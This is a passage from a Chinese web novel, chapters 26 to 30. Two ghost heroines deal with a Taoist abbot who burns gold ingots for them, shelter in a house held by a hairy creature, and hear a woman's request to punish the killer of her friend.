江越人对陈献午识破自己心中所想了然于心,更知道她一直没有阻止已经是睁一只眼闭一只眼,但周健康再不治疗,怕要魂飞魄散了,她谎称:“或者换一个方法,好像不管用呢。”
陈献午定定看她,良久移开目光:“这不管用。”
观主放下枣子,思索一瞬,不若再试试净心神咒,“站到我面前。”
江越人拉着周健康走过去,将他扯到身前,与观主正面相对。
“太上台星,应变无停,驱邪缚魅,保命护身。智慧明净,心神安宁,三魂永久,魄无丧倾。”
随着观主念咒声起,周健康半透明的身躯逐渐化实,方一念完,他便重焕生机,此咒保魂护魄之力果然灵验。
陈献午见状,本以为会不大痛快,谁知也就那么回事儿,心底好像不是很在乎。倒是这神棍,再次令她刮目相看,可得抓紧他这个“开挂神器”。
观主念完,没得到反馈,“如何了?”
“有两下子。”陈献午直言道。
观主如释重负地笑了。
江越人继续吃东西,吃着吃着想起一直以来的疑惑:“你跟这个道士认识,那是他叫你来这个试吃会的?不对,不可能叫试吃会。”
确实不叫试吃会,这个词是陈献午瞎编的,她只是听见别人说哪里哪里什么法会,还有吃的,她尴尬笑了笑:“叫自助也成。”
“真有你的。”
陈献午为了转移尴尬,问道士:“你到底能不能看见我们啊?”
观主并未打算隐瞒:“说实话,不能。”
27. 第 27 章
连续的攻击都能轻易躲过去,现在告诉她不能看见,这引起了她强烈的好奇心,甚至已经在思考要不要一边投胎,一边现学打基础,转世之后直接考道士证。
陈献午搓搓手,客气地问:“我能学吗?”
话题跳得太快,观主有些跟不上节奏,他不能理解:“学什么?学我看不见鬼?”他怀疑陈献午是不是故意打趣自己。
陈献午嘴角一抽,误会大了,忙解释:“不是,学你们道士要学的东西,降妖除魔,炼丹画符。”
她想象自己攥着笔行云流水画出一张张符箓,啪地打在恶鬼身上,甚至还能虚空画符,太拽了。光是想象就让她肾上腺素飙升,一度想立刻掏出笔试试。
“不能。”观主一盆冷水泼下来,严肃认真,不带一丝商量。
干脆的拒绝让陈献午没办法继续‘耍赖’,道教天才梦熄灭了,她张口结舌,可惜道:“好吧。”
“这是要拜师的,你拜我为师不就成我徒弟了,不成不成。”观主头摇成拨浪鼓,他又瞪着眼睛严谨地补了句:“拜我徒弟更不行!”
虽然没算出具体的身份,但坚决杜绝。他可不敢凭年纪托大,这种坟头上蹦迪的冒犯行为,等当事人回味过来,他就入坟了。
“而且吧,这个学起来耗时良久,不是那种能触类旁通的学科,最重要的是,我们不会炼丹,平时也正常吃饭。”观主苦口婆心劝道,更何况你还不是人。
陈献午抬手制止,想起他看不见,又放下手,“别说了,我不会死缠烂打的。”
“除了这个,其他都可以。”
“正好有个新需求,有个鬼贩子十分可恶,你帮我算算他在哪。”
“除了这个,其他都可以。”
陈献午:“?你卡带了?”
观主端走江越人正要吃的烤鸡缓解尴尬,无辜地开口:“再换一个。”
技术忽高忽低,真令人费解,陈献午对他的印象在高人和神棍之间反复横跳。
她丧着脸道:“你走吧,回你的道观里。”
观主急了,大腿放走了就再也遇不到了,他恳切强调:“我真的还行,除了那两个……有什么事尽管吩咐。”
不是他不行,只是恰好这两个要求都很刁钻,卡在了可行性的界点上,就算他咬咬牙也做不到。
“这也不行,那也不行,你还让我提需求,你这是为难我!”陈献午耷拉着眼皮,意志消沉,无话可说。
还不如善事哥呢,直接撒钱。
她眼睛忽地亮了,“有了,烧点金元宝给我,这你总能做到吧。”
“当然可以。”观主扔下盘子,连忙往观里跑,道袍翻飞。
他一走,江越人立马将那只鸡拆吃入腹,这些食物果然和之前的不太一样,往常只是填饱了肚子,内心仍然饥饿,这里的食物吃了好像有能量充盈全身。
满满一桌的食物,周健康没吃多少就停下了,其他几乎都进了江越人肚子。
“你不吃吗?”江越人指指最边上的葡萄。
陈献午一个箭步呲过去,拿起来就吃,差点没吃到她的最爱。
刚好吃完就看见观主提着两个金闪闪的大篮子滴哩当啷跑过来,为了把篮子里的东西全须全尾地拿过来,他两手僵硬地平抬,两条腿莫名其妙就弯成罗圈腿,以一个诡异的姿势跑过来。
想也知道,用这样的姿势跑不可能平稳,因此,他跑过来的路线被金黄清晰地标记出来。
没等站定,观主就迫不及待问道:“够吗?”
两个竹编大箩筐在金元宝的映衬下都变得贵气起来,陈献午财迷属性大爆发,笑得见牙不见眼,她压着雀跃淡淡道:“够。”
观主得到回答,两手一转,箩筐里的东西倾泻而出,他点燃四根香,还附赠了求财咒给陈献午,“天地富足,万物有余,吾……”
火焰啄到金元宝,兴奋地将其围猎、吞噬。
陈献午跑去捡路上掉落的金元宝,一个都不能放过。
观主一想,这么多可能不太好拿,于是抬起篮子问道:“需不需要我把这两个也捎给你。”
“烧”通“捎”,按照道教的说法——神三鬼四,陈献午目前还只是一只鬼,因此用四根香将元宝捎给她。
陈献午刚好抱了一怀回来,嫌弃地瞅了一眼没有了金元宝的篮子,上面还挂着灰网,“不用。”
观主顺着声音看过去,一捧金元宝飘过来,自动跳进火焰里,迅速紧缩皱起,化作飞灰。
陈献午面前高高垒起一座元宝包,她兴奋地席地而坐,贪婪的嘴脸根本控制不住,掏出荷包不停往里灌。这让她想起了还是人的时候,做过不止一次一路捡钱的梦。
“快帮我一起装。”她招呼江越人。
荷包口太小,只能一个一个装,两个人交替着装,手挥出残影。
装完的荷包好像鼓起来一点,重量倒是没变,陈献午看向观主的眼神都变得炙热,好声好气同他告别:“我们走了。”
“等等!”观主喊道,他掏出几张符摆在桌上,“日后有需要联系我就把这符撕开。”
陈献午来者不拒,果断抓起团巴两下揣口袋里,“行。”
“一定要用啊!”
“知道了。”陈献午雄赳赳气昂昂踏上离开的路,荷包鼓了,底气就是足,她感觉腰板前所未有的直。
没走两步就听到来自江越人真诚的疑惑,“这么晚,我们要住林子里吗?”
陈献午猛地定在那,财宝迷惑人呐,第一次揣那么多金元宝,她就不知道天南地北了。略一思索,她出声:“道观……”
江越人想也不想打断:“我们进不去。”
“昂,我忘了,那我去问问附近哪里有荒废的房子。”陈献午也不想露天席地休息,况且抓鬼贩子的事还没线索,此时赶夜路倒真成了两眼一抹黑。
她回去问观主,得到大概的方向便朝那处去,不多时便寻到观主所说的那栋二层小楼,房前蓬蒿满径,好生荒凉,但房子比起那个破瓦屋要好不少,不仅没有残破,还很规整,里面物体都盖上层白布,除了灰尘再没有其他脏乱。
陈献午习惯性地先找床,就算是鬼也不能太不讲究。
上二楼的楼梯修在卫生间和客厅中间,两面都是墙壁,显得狭窄,实际上也只能一个半人并排通过,不知道是哪个大聪明盖的。
踏过最后一层阶梯,是一条廊道,撑死不过两米长,两端各是一个房间。
陈献午拐向左手边那间,刚一进去,床头的小夜灯欻地亮起微弱的光,床边坐着一坨黑色长毛怪物,怪物冷不丁转头,惊得她原地起跳,扒在墙上。
江越人紧跟着进来,目光自然被亮处吸引,她也心一惊,与此同时,手中的哭丧棒犹如标枪被她飞掷过去。
怪物看着庞大迟钝,反应力却十分敏觉,往前一扑,轻而易举躲过棒子。
“什么鬼?还不束手就擒。”江越人没了武器丝毫不怵,反而喝道。
陈献午不可思议地
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回身,要不要这么莽。
刚开始没有心理准备,她确实吓一跳,现在冷静下来,心虚填满,“这好像是它的地盘,我们才是闯入者。”
江越人正气的脸庞出现一瞬间的困惑,随后气势肉眼可见变弱,“咳,对不住。”
怪物这时却无甚反应,直立在墙边,由于毛发又长又茂盛,像个墩布,根本看不见脸,所以无法通过表情判断它是警惕还是听不懂。
“我们不是坏人。”陈献午刚说完就愣了,怎么感觉说过这句话,有点顺口。
怪物抬起手,撩开神秘的“面纱”,厚重的毛发下面还是毛,遍布全脸,连面中都没放过,该怎么去形容它最贴切,比猴子还猴子。
“嗬,嗬嗬。”陈献午干笑两声,开启头脑风暴,头一次见到野人,该怎么交流,在线等,很急。
野猴人保持拨头发的姿势走过来,愣头愣脑,浑身冒着一种满脸天真地吃人的气息。
陈献午忙把江越人拉过来,握着哭丧棒直指野猴人,“别过来。”
野猴人顿了顿,继续往前走,她又道:“你听得懂人话吗?站住!”
大声的制止没起作用,野猴人兀自朝前走,陈献午貌似与他黑得发亮的眼睛撞上,纯净的眼神令人心惊,眼看就要撞上哭丧棒,陈献午高高举起,准备一棒子抽飞他。
野猴人突然定住,直直地刺出一只拳,手腕翻转,掌心摊开,两颗金元宝静静地躺在那。
这是什么意思?陈献午被他搞蒙了,举着的哭丧棒顿时变得扎眼,是她太先入为主了吗?还把胡思乱想当成真的。
“给我的?”她默默放下棒子。
野猴人点点头,把手往前伸了伸。
陈献午虽然不解,但手已经把元宝拿过来,她猜测道:“你是不是饿了?”
野猴人不答,不知道从哪又掏出两颗,递到陈献午面前。
江越人虽然见惯了别人主动送钱的行为,还是不得不感叹一句:“你财运真旺。”
陈献午接过元宝道:“确实。”
她这边刚接过来,那边野猴人不声不响又拿出两颗。
“你到底想做什么?”话音刚落,又冒出两颗。
没完没了地给,不会是有难到极点的请求吧……
陈献午愈发觉得这个猜想没跑了,她作势要往地上扔:“你不说的话,我就不要了。”
野猴人先她一步把手里的元宝扔在地上,从后面源源不断地拿出元宝扔在地上。
陈献午二人目瞪口呆,这是什么招式?要不找个猴子翻译一下,不然看不懂啊。
野猴人蓦地蹲下来,在地上写写画画,只是灯光本就微弱,他这么壮的身子一挡,更是什么都看不见。
“看不见。”陈献午直言。
野猴人抬头,准确来说是动了一下,毛茸茸的脑袋也不知抬没抬头,二人瞪大了眼也没找到他的眼睛。
陈献午捂了下眼睛,又摆摆手,示意他看不见,希望他能看懂吧。
野猴人果然很有灵性,蹲着挪动,慢慢挪到了小夜灯底下,见她们没过来,还招了招手。
她们过去一看,这家伙手黢黑,在白色的瓷砖地面留下两个字——“喜歡”,写完指了指陈献午。
陈献午大为吃惊:“你怎么知道我喜欢金元宝,难道我的眼球变成了元宝的形状?”她赶紧瞪大眼凑到江越人面前,“你快看看我,有没有变。”
江越人大无语,推开她:“变了,挺适合你的。”
28. 第 28 章
陈献午不但没有担忧,反而顺着她的话说:“太酷了,我的爱财之心感动上苍,赐给我一双绝美的眼睛,啊,多么感人。”
此人中二病来得太快,江越人的手也痒得很快,她拾起自己方才掷过来的哭丧棒蠢蠢欲动,不由思考,怎么才能在消除一身鸡皮疙瘩的同时给这个假装抹泪的人一点苦头吃吃。
好在她不是暴力狂,自己想想也就过去了。
“你不问问,他想要你做什么。”江越人问。
“哦,对。”陈献午把手从眼睛上拿开甩了甩,“有何冤屈,速速道来,写也行。”
野猴人又在地上写了两个字——“一起”。
“你要跟我们一起?”
野猴人连连点头,墩布脑袋上下弹,喜感十足。
“你当我们是收容所的?”陈献午敛眉,嬉皮笑脸的表情瞬间收起,“有一个就够累赘的了。”
她们无意闯进来,多有冒犯是不假,但也没有脑子白到随便收留一个身份不明的人,更何况他身手敏捷,魁梧壮硕。
如果需要帮助,看在功德的份上,她定会施以援手,可是让他跟在身边无异于安插一个不定时炸弹,决计是不行的。
陈献午把怀里的几个元宝甩到床上,“重新找地方。”
江越人几乎从不反对她的任何决定,只要没涉及原则,她向来不在意,抬脚就走。
野猴人猛地站起身,比陈献午要高出一个头,他当即想要拉住陈献午,抬至一半,从厚厚的发丝间瞥见她冰冷的眼神,胳膊像被烫了似的缩了回去。
陈献午屏息,全身肌肉都绷紧了,直视那团乱糟糟的毛发中间,只要他敢碰到自己,就让他变成黑炭。
余光瞥到半抬的胳膊缩了回去,她剜了一眼野猴人,心提到嗓子眼把后背露给对方,状似从容地往外走。
野猴人急得像热锅上的蚂蚁,眼见陈献午就要穿门而出,他用力跺了跺脚,力道大到地板都震三震,此举果然引得陈献午回头。
他像宣战似的狠狠指了下地面,又拍了拍自己,指向外面。
陈献午还未反应过来,他便化身黑夜鬼魅,四肢并用地飞跃而起,跳出窗户隐入黑暗。
此举倒是让她们有些意外,江越人挑了挑眉,“他把地方让出来了。”后半句话她没有说出口——这阴间是有什么传统吗?又送钱又送住所,消费者收钱入住?
陈献午也不扭捏拧巴,目不斜视经过那一小堆金元宝,走向床边,“那就在这歇歇脚吧。”
江越人从门板探出头,周健康正贴在墙边蹲着,瞳孔颤抖着看过来。
她叹口气道:“进来吧。”
周健康先伸了半截身子进来,环视一圈发现屋里只有陈献午和江越人,然后才放心抬脚,一进来就找了个角落蹲着。
“一点头绪都没有,我是不是答应太快了?”陈献午拍了拍床边对江越人道:“你想不想要这一份功德?不然去找倪功曹换个任务吧。”
江越人在她旁边坐下,“不着急,反正没有时间限制,等他催了,有的是时间着急。”
“你毕业多久了?”陈献午忽然好奇,本来以为她是大学生,看来不像。
“三年。”
陈献午又问:“那你工作日坐高铁是?”
江越人淡淡道:“出差。”
陈献午一副‘看不出来啊’的表情摇摇头,随后饱含深意地点点头,不愧是正经上过班的。
“那我们是不是应该昼伏夜出?专门在晚上巡逻,看能不能瞎猫碰上死耗子,毕竟不是谁都像我一样神通广大,还聪明,想得出拿伞挡太阳。”
“对,只有你。”江越人不咸不淡地肯定她,“也没有人能随便把那个门叫出来,进过阴间的东西再拿到阳间没人能看见,不然我能大白天明目张胆打着把花圈吗?”
她好像有点阴阳怪气的,应该是感谢我吧,只是没用对语气,陈献午默默想。
于是她又真诚地分享郁闷:“我就有一个缺点,不能随便在人面前说话。”
江越人姑且认为她真的没有炫耀的成分,帮她分析这个巨大的bug,按理说,陈献午本身就是个bug,没必要在这种小事上限制她。
一定有哪里被她们忽略了。
陈献午在遇到自己之前不可能没有对别人说过一句话,遇到自己之后……江越人忽然就相通了,“你记不记得你在高铁上的鬼喊?”
陈献午:“???”
“就是谢别抓走我,然后你勒着嗓子喊——等等我!想起来了吗?”江越人提醒她,“当时高铁上的人全都没反应,所以你不是完全不能在人前说话。”
明明才过不久,却好像成了遥远的记忆,陈献午终于回忆起那天,她讶然:“你记性真好。”
“……”江越人无语,这是重点吗?“我猜,能不能被人听见是根据你的思想所改变的,你认为可以,那么活人就能听见,反之则不能。”
“你好聪明啊!你学的什么专业?”
江越人重重地叹了口气,感觉只有她在认真地思考,“环境设计,毕业做了商务专员,不要问,问就是为了生活。”
陈献午原本确实想问,听江越人这么说,她只好转而自报家门:“我是修电脑的。”
“头发保住了。”江越人瞄了一眼她的高马尾。
两人一个不再睡觉,一个不再饥饿,一直闲聊直到天亮,而周健康则是没有存在感地窝在角落里听着,有些听不懂,但他喜欢听。
天光乍现,没有窗帘遮挡,屋内每隔一两分钟亮度都在发生变化,没一会儿就亮堂一片。铝制的窗子蒙上尘雾,窗台上全是掉落的墙皮。
陈献午一看就想起自己的家,白色墙面掉着掉着,原本的水泥完全浮现,就像从没粉刷过一样,她已经很久没回去过了。
她将回忆甩走,“天亮了,该出门打猎了。”
“去哪里?”江越人目光与她对上,二人同时说道:“城隍庙。”<
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“与其大海捞针一样瞎找,不如碰碰运气。”陈献午直接从窗户飞出去。
这次没等江越人提醒,周健康就老实跟上,先她一步从二楼摔出去,没有人教他,他也就傻愣愣地冲,得亏江越人手速快,一把拎住他的衣领。
太阳跃出水平面时,她们刚好到了城隍庙门口,江越人迅速撑起花圈,遮在自己头顶,顺手把周健康拉进来。
城隍庙墙边有一鬼鬼祟祟的身影缩在那儿,不知道在做什么,那身影警觉得很,一听见动静立马爬起来窜到树后。
虽然速度很快,但还是被江越人看见了,那是一个约莫五六十岁的中年妇女,头发灰白,白的偏多,从她的行为看,方才好像是在跪拜。
只是城隍庙近在眼前,她在外面跪拜什么?就差把可疑两个字刻在身上了。
江越人当即拎着周健康追过去,她一动,陈献午也赶紧跟上,她们的速度不可谓不快,可是追到树后一看,空荡荡一片,压根没有人。
更可疑了,这妇人不是人,却还要拜城隍,不是心虚的话,想不出其他原由了。
晨光中的城隍庙恢复了肃穆,红色墙壁在阳光照耀下,有种安抚心神的魔力,四声杜鹃和珠颈斑鸠交替鸣叫,城市里几乎听不到这种声音了,听得人很想就地安详地躺下。
但对于鬼魂来说就不是安抚,而是压制了。
江越人她们此刻是连进入都不行,昨夜里除了大殿不能进,其他地方都正常,今天却十分难受,从头到脚都眩晕不已,不会跳动的心脏隐隐作痛。
“别勉强了,你就待在外面吧。”
陈献午只得自己一人进入,她一踏进去,里面静悄悄的,当即就召出‘狗洞’,嘴里嘀咕:“也不知道白天他们上不上班。”
她刚从‘狗洞’钻出来,就看到一个长辫子男打着哈气关上门,于是赶紧上前。
“请问?”陈献午急吼吼冲到他身边,刚说完两个字,那人却像受到极大的惊吓,一退三米远,直叫陈献午看得目瞪口呆。
“又是你。”长辫子躲避她的目光,撂下一句话又原地消失了,“我下班了,六个时辰之后再来。”
阴间公务员都好同质化,溜得太快,抓都抓不住,努力到仿佛每个人都接收上级要求,致力于加深刻板印象。
陈献午更关心是另一件事,她只听见了六个时辰,忍不住吐槽:“阴间公务员竟然这么辛苦,两班倒,不把鬼当人啊。”
若是方才的长辫子没有急着下班,听到这话,定要与她大吐苦水一番。
每天两班倒,全年无休,重复做一样的事情,都快做吐了。只有一样好处,他们在岗位坚守几百年之后可以选择自己转生后的人生,也就是定制化人生,体验完这一生回来还可以继续当公务员,也算是另一种停薪留职。
对有些鬼差来说,定制化人生就是理想与追求,一想到便能坚持,但对于不想投胎的阴差来说,与画大饼无异,他们宁愿机械性干活。
29. 第 29 章
陈献午环顾几间安静空荡的“办公室”,白天好像没有值班的,没有轮班应该不算两班倒,但是本质上没有区别,她满脸郁闷地穿狗洞而出。
刚走出大门就见江越人在拐角的树旁拼命招手。
她一走近,便听见江越人声音没有起伏说道:“发现一个奇怪的东西。”话落,将那奇怪的东西递到她面前。
陈献午低头一看,“……一块布?”
奇怪在哪?
江越人解释道:“这不是一块普通的布,你看中间的拼接,好几块花样质地不同的绞在一起,每一块都很小,这不正常。而且形状不规则,就像随便从哪里撕扯下来的。”
陈献午沉思片刻,嘴上却道:“这有什么的,可能是刚才那阿姨勤俭节约,把不要的布凑活在一起当手帕,你是不是太疑神疑鬼的了。”
“蕾丝和条纹的混搭?你见过这么差的审美吗?穷人也是有审美的,就算是以前年代的,正常情况多半也是选择纯色灰布类似的,更耐脏。”
“世界之大,无奇不有。”陈献午不想深究,搪塞道。
一件事就够她头大的了,哪有那么多精力再管别的事,她又不是神探,能做到洞若观火,小事伸伸手扶一下就好,大事自有大人物管。
江越人仍不放弃,来回重复:“可是真的很奇怪。”
“哎呀,奇怪的事海了去了,哪能件件都管得过来,要真论起来,我们俩本身更奇怪。”陈献午抓过她手里的布扔到地上。
“可是……”江越人立刻矮身要去捡。
陈献午撑住她的小臂将她挡下,直接揽住她胳膊带着往前走,“别可是了,在城隍庙面前能多大事,里面那些也不是吃素的。”
确实,一墙之隔,里面不至于不知道,江越人想想便不再执着。
她刚走两步,垂坠在身侧的手里被塞了一个东西,低头一看,正是方才扔掉的那块布。再旁边,一颗小光头亦步亦趋地跟着,耳尖有点红。
她默不作声将布揣进口袋里,重要的话,那人自会来找。
“还有什么地方可以去。”陈献午边走边碎碎念,本来说服自己不着急了,但是一想到功德还没到账,这样没有线索地瞎转悠就像是在浪费时间。
“不是说来碰运气吗?这么快就走了?”江越人前脚用了点力抵在地面上。
陈献午被迫停下,想起自己刚说过不久的话,但是她又想走起来,不管去哪,先走着,心就不会一直提着了。
江越人正欲再劝两句,袖子忽然被拽了拽,她顺着周健康手指的方向看过去,右边小岔路上的人不是昨天的道士吗?旁边是谁?
“你的老朋友来了。”
“老朋友?财神爷来了吗?”陈献午灿烂地看过去,目光捕捉到来人的那一秒,瞬间变脸,“不是财神爷的话,下次不用通知我。”
明真观观主同一青年女子拉拉扯扯走过来,他嗓门不小,老远就听见他说:“我真的可以,你不能这么心急啊。”
又在坑蒙拐骗,陈献午听见这话的第一反应便是如此。
青年女子只当他是空气,板着脸横冲直撞地撞过来,陈献午愣了会儿神,差点就与她灵魂相拥,好在重合的前一秒避开了。
眼见女子就要冲进城隍庙,观主手下没个轻重,猛地将她一扽,那青年女子两腿甩起,差点同风筝一样飞起来。
待站定后,女子脸色铁青,胳膊抡了个大圈甩开观主,另一手紧跟着挥拳而至,她的手臂肌肉线条流畅,动作间形成一道优美的弧线,伴随着弧线划过,隆重的烈响炸开。
观主捂着脸躺在地上,痛苦委屈地咕蛹着,完美展现了蚕是如何蠕动的。
陈献午激动地直想鼓掌,硬生生忍住了,她想到江越人昨晚的推测,笑意其实已经消退了不少,但是不笑她能后悔一天,于是便夸张地仰天大笑几声,忽地止住观察两个活人的反应,他们果然听不见。
她瞬间肆无忌惮,大手一插分析起来:“根据我的经验,如此激烈的拉扯,必是金钱纠纷。”
“不见得,也可能是感情纠纷。”江越人瞥了一眼地上的蚕,摇摇头,自己否定了自己,“可能性为零,说不定是仇敌,女生上城隍庙告状来了。”
“对哦,城隍爷也会为普通人民主持公道。”陈献午表示赞同。
青年女子一拳揍趴观主后,没有直接离开,而是站在原地看着,她本意并非是要攻击观主,只是他一再纠缠,而且半米之内,手臂又附带条件反射,不受控制就出拳了。
观主蠕动了半天,顶着对方无言的目光终于从地上爬起来了,“有话好好说嘛,年轻人不讲武德,打打杀杀不好。”
女子不接茬:“你没事就行,别再跟着我了。”
“等等!”观主神叨叨大喊一声,“我没骗你,我真的有援军,做道士的怎么可能没有关系。”
女子满脸不耐烦,“你要钱我可以给你十万,拿了钱就走,别耽误我找能人义士。”
观主掐指算起来,忽然朝空地说胡话:“我知道你在这,快帮我说句话,她不信我。”
陈献午指了指自己,一脸问号。
江越人点头,“对,他在跟你说话。”
“我才不说。”陈献午翻了个白眼,“我怀疑这臭道士平时主修算计,说好帮助我,什么都没干,就耍耍嘴皮子,现在要求我听他话,呵,发梦呢。”
“他昨天烧给你两筐金元宝。”江越人提醒她。
陈献午撇着的嘴僵住,放也不是,保持也不是,突然颤抖起来,她赶紧手动拉下嘴角,“忘了。”
“小友,不,大师傅,你快说句话啊。”观主急了,都不敢看青年女子的表情。
“那好吧。”陈献午清清嗓子,压低声音故作老成道:“何事?”
观主狠狠松了口气,“这下你总该相信我了吧。”
青年女子在陈献午出声的那一刻就变了脸色,到处张望,寻找声音来源,无果后才真的相信老道士的话,“这位和网上的那位本事一样大吗?”
“当然。”观主神气地昂头,“我这位援军跟我们观里供奉的福慧圆满大慈大悲灵山老母都认识。”
陈献午又一次指向自己,痴痴地问江越人:“我吗?”
“呃。”江越人张口结舌,饶是她这次也无法肯定地说出——对,就是你。
灵山老母是谁啊,怎么会
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认识投不了胎的小喽啰,碰瓷是这么碰的吗?陈献午简直要被观主的脸皮震惊到吐血,她作为莫名扯进来的旁观者,都直害臊,何况观主说的就是她。
她想起昨晚自己的无心口误,不停地朝四面八方作揖,口中默念:“与我无关,要找就找那个道士,是他口无遮拦。”
青年女子不舍地看了看城隍庙,都走到门口了,她一咬牙道:“我再相信你一次。”
观主大喜,幅度过大扯到脸上伤口,又大悲地捧住脸:“回去说。”
他胆子再肥,也不敢在城隍庙面前抢香火,只是神神秘秘地告诉女子:“这里不方便谈话。”
末了背对着女子,向着虚空处可怜兮兮请求:“大师傅,再和我走一趟吧。”
陈献午不想应他,看在金元宝的面子上才不情不愿开口:“嗯。”
观主终于把握好局势,没让事情朝着诡异的方向狂奔,他暗自庆幸今天遇到了陈献午,不然巨大的福报就要溜走了,那还怎么蒙受护法善神保佑。
表忠心不能光用嘴说,他自己也忐忑,如今心脏能重新放回肚子里了。
但他不知道陈献午和城隍庙也有合作,没有他,这名女子所求之事也会落到陈献午头上。
兜兜转转又回到了明真观,陈献午在脑海中画了张地图,她发现明真观、城隍庙和昨晚歇脚的地方连成了三角形,三个地方都偏僻的很,她们一直在这几个地方来回转。
难怪这两处香火都不旺,敢情选址出了大力。
到了明真观跟前,观主却停下脚步拦在门前,“就在这说吧。”
青年女子懵了:“在这?”
“就在这。”观主神情不似作假,肯定道。
他还记得陈献午的朋友,现在一定也在旁边,进去的话又要乱成一团了。
青年女子不理解,但也没问为什么,无所谓道:“好吧。”
她将事情原委说了个清楚,此番前来是因为在网上看到一则投稿,稿主走夜路遇到坏人,有鬼神帮她赶走了坏人,而且稿主就在这个城市,所以她找到道观看能不能寻到网上说的鬼神。
至于为什么没去名气大的太和观,是因为她两年前就去过了,花了钱但没看到实际效果,不是说太和观假,而是做法事超度她朋友不能让她放下心结。
她的朋友已经去世四年了,害死她朋友的凶手是个惯犯,此前已经连杀五名女子,在残忍杀害她朋友后落网,判刑前就心肌梗死了。
女子恨当时没和朋友一起回家,更恨凶手死得太轻易,只有让他受到真正的惩罚才能解恨,于是她一看到网上帖子就到处问,然后就找到了这里来。
听完女子的叙述,在场众鬼和人都沉默了,听得人完全不忍心想象当时场景,只是动个念头都寒毛直竖。
陈献午问:“你想让我做什么。”
“他在地府里吗?您能不能把他千刀万剐,让他永世不得超生。”女子咬牙切齿,恨不能立刻将凶手抓起来大卸八块。
“你知道他的名字吗?样貌特征和大概年龄呢?”
女子不用思考,直接报出信息:“知道,他叫洪泰扬,三十七岁,一米七左右,三白眼。”
30. 第 30 章
“我记住了,有进展我会让神……”陈献午将‘棍’字咽回去,改口道:“观主通知你。”
“好,太好了,谢谢,谢谢。”女子仿佛已经看到了凶手血肉模糊的惨状,大仇得报的快感如旱后甘霖倾洒出来,传递给每个人。
她朝声源处不停鞠躬致谢,倒是让陈献午变得慌乱窘迫,一下子跳开了。
若是事已办成,陈献午心安理得接受感谢,可是她不过给了句模棱两可的回复,就收到难以承受的莫大敬意,她有些后悔答应太快,导致现在骑虎难下。
她虽是与一般鬼魂有区别,但从未觉得自己就是拯救世界的超级英雄,本质上还是个普通鬼。
青年女子如释重负笑着离开,与来时判若两人。
“林向这姑娘真是有情有义啊,现在社会这样的人少了。”观主看着离去的背影长吁短叹。
“女孩子天性如此。”江越人说完观主没有任何反应,人与鬼的沟通有时候真的很难,她杵了一下陈献午,示意其帮忙转达。
“女孩子都这样,你自己不知道别以偏概全。”陈献午从堂皇的情绪中拔出来,“还有,别在我们面前说人家名字,名字被鬼记住没什么好事。”
“是有什么我不知道的忌讳吗?”观主疑惑。
“没有,你是活人你不忌讳吗?”陈献午没好气又道:“我只答应帮你应付,没说帮你□□。”
“这……你不为受害的几位感到悲痛吗?”
“痛,但我有别的事要做,十恶不赦的人渣下地狱自会受到惩罚,哪轮得到我收拾,再说,我也没那个本事管下面要人啊。”她翻了个大大的白眼,说话间,她好像明白了什么,高声痛斥:“你是不是想坑人钱?好啊你,看我不抽死你。”
观主脚底像装了弹簧似的闪进观里,“怎么可能,我是那种人吗?”
陈献午斩钉截铁:“是。”
观主无奈,说出自己的算盘:“我算过了,杀人凶手还在阳间徘徊,而且还在这个城市。”
“不早说,那你去抓吧,我们走了。”
“等等!祸福无门,惟人自召;善恶之报,如影随形。善良会带来无量福报,得到众生荫佑,最终在自身显化。你确定不要福报吗?”观主没得到回复,猜测陈献午可能还没走,循循善诱道:“无论是对现在,还是未来,都只有好处,没有坏处。而且我一定会配合你的,怎么可能让你独自直面险境。”
观主抹了把汗,要讨好一个未来的大人物真难啊,为了不着痕迹地让她参与进来真是煞费了他的苦心,希望她以后能记得自己。
“我再想想吧。”
“师傅啊!”观内一个蓝色炮弹呼嚎着撞出来,势头极猛。
观主头也没回,脖子青筋暴起喊道:“住嘴。”
蓝色炮弹冲到他旁边刹车,划出去好几步,慢慢退回来,兴致满满问:“师傅你在门口看风景吗?看几十年还没看够啊。”
“有你什么事,早课做完了吗?”观主拿出师傅架子,严肃中带着恨铁不成钢的气急眼神扎过去。
小徒弟头一缩,“做完了,做完了。”
“把地扫一扫,别一天到晚招猫逗狗没事干。”
“哦。”小徒弟干巴巴应了声往回走,才走两步回想起自己来的目的,又退回来大声控诉:“昨晚科仪剩的烤鸡怎么一点味道都没有,难吃死了,像木头渣子。”
“有的吃还挑。”观主一脚踹过去,“不对,一大早吃什么烤鸡,我缺你吃缺你喝了。”
小徒弟接下那不轻不重的一脚,委委屈屈道:“不是我要吃的,师兄热出来,我要是不吃岂不是辜负他好意。”
“快滚吧。”
观主发话让他走,但小徒弟偏赖过来,在他旁边挨挨蹭蹭,笑得谄媚。
观主赶不走他,便朝外面颔首,淡淡道:“见笑了。”
小徒弟浑身一激灵,眼球震颤,昨晚的惊吓仍历历在目,他再次化身炮弹,从哪来的又发射回哪。
速度之快让外面的鬼们吃惊,陈献午:“你收了个怕鬼的徒弟???”
“捡来的,疏于管教,以后只需要跟着若,跟着他大师兄混口饭吃,没指望他学出什么出息。”
“哦,我们走了,明天再来。”
“好,一定要来啊。”观主殷切地挥手。
离开了道观,陈献午又马不停蹄往城隍庙赶,事儿不能白干,得先只会功曹一声,顺便问清具体加多少功德,免得他不承认,虽然他不像那样的人。
走到一半路程,她突然看见一个新坟,双腿不知不觉就拐过去了,边走边掏荷包。
江越人跟在后面一头雾水,怎么突然就开始掏钱,直到她看见一座像亭子似的墓碑,坟前还摆了许多东西,她赶忙阻止:“我不饿了!”
陈献午果然停下,愣愣地回身,手里还握着两个金元宝。
“真的,昨晚吃了道士准备的食物,浑身充盈,一点都不饿。”江越人怕她不信,连连点头,就差发誓了。
“好吧。”陈献午把金元宝扔回荷包里,继续赶路。
经过一片村庄时,浓郁的死气在艳阳下竟肆无忌惮地招摇扩散,如有实质的污浊将这片大地笼罩。
错杂的房屋排列整齐,每家门前种着各种各样的菜,地里被打理得干干净净,没有一根杂草,有几户还在地里忙活着。
人们似乎感觉不到头顶浓郁的死气,他们正常劳作唠家常。
“那些房子在冒黑气。”
周健康的惊呼验证了她所感觉到的不是错觉,陈献午抬脚就走,远离这片邪气之地。
江越人却顿住了,她捏紧口袋里的那块杂乱拼接的碎布,潜意识告诉她,那个中年妇人可能就在这。
她顺着心中意愿往分岔路走去,周健康需要在花圈遮挡,不得不跟着她一起。
陈献午没注意两人没跟上来,闷声快步远离。
远远瞧见树后闪过一个黑影,墩布似的脑袋不用想都知道是谁,她立刻追了上去,“敢跟踪我,我倒要看看你存的什么心。”
“姐姐,姐姐往那边去了。”周健康赶紧提醒江越人,怎料
